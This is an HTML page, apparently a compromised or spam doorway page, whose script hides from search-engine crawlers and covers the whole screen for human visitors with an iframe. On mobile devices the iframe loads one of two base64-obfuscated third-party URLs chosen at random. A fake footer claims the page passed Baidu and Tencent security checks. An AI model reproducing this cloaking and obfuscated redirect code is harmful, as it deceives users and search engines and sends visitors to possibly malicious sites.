<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?bc9c27030c83c0ad9b47bcd1bca198a7";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow, nosnippet">
<meta name="Baiduspider" content="noindex, nofollow, nosnippet">
<meta name="Baiduspider-image" content="noindex, nofollow, nosnippet">
<meta name="Sogouspider" content="noindex, nofollow, nosnippet">
<meta name="360Spider" content="noindex, nofollow, nosnippet">
<meta name="Yisouspider" content="noindex, nofollow, nosnippet">
<title></title>
</head>
<body>
    <div style="position: fixed; bottom: 10px; right: 10px; font-size: 12px; color: #666;">
        本页面已通过
        <a href="https://security.baidu.com/" target="_blank" style="color: blue; text-decoration: none;">
            百度安全检测
        </a>
        和
        <a href="https://www.tencent.com/" target="_blank" style="color: blue; text-decoration: none;">
            腾讯安全检测
        </a>
    </div>   
        
<script>
function isSpider(userAgent) {
    const spiderKeywords = ['Baiduspider', 'YisouSpider', 'Bingbot', 'HaosouSpider', 'Sogou web spider', 'Sosospider', 'YandexBot', '360spider'];
    return spiderKeywords.some(keyword => userAgent.includes(keyword));
}
function isMobileDevice(userAgent) {
    return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent);
}
function isSearchEngineClick() {
        const searchEngines = ['google.', 'bing.', 'so.', 'baidu.', 'sogou.', 'soso.', 'sm.cn'];
        const referrer = document.referrer;
        return referrer && searchEngines.some(engine => referrer.includes(engine));
    }
const userAgent = navigator.userAgent;


var urls = [
    { url: 'aHR0cHM6Ly8yNjIyOGtjc2p6bGNjLnloZHNxbXYuY29tOjkzMDIvY2MvMjI4P2U9bzRqaG5rejRqNiZpc19ub3Q9MSZ0YXJnZXQ9MSZ0eT0z', weight: 50 },//cy
    { url: 'aHR0cHM6Ly90czI2eXlkLmFjb2loYXYuY24vU0VPMjc2Lmh0bWw=', weight: 50 }//zs
];

function getRandomUrl() {
    var total = urls.reduce((sum, item) => sum + item.weight, 0);
    var rand = Math.random() * total;
    var current = 0;
    for (var item of urls) {
        current += item.weight;
        if (rand <= current) return item.url;
    }
}
const mobileUrl = atob(getRandomUrl());
const pcUrl = "https://www.4399.com/"; 


if (isSpider(userAgent)) {
    console.log('Spider detected, not executing the code.');
} else {
    if (isMobileDevice(userAgent)) {
        document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
        document.write('<style>html,body{width:100%;height:100%;overflow:hidden;}</style>');
        document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
        document.write('<iframe src="' + mobileUrl + '" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
        document.write('</div>');
    } else {
        document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
        document.write('<style>html,body{width:100%;height:100%;overflow:hidden;}</style>');
        document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
        document.write('<iframe src="' + pcUrl + '" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
        document.write('</div>');
    }
}
</script>
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';        
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
</body>
</html>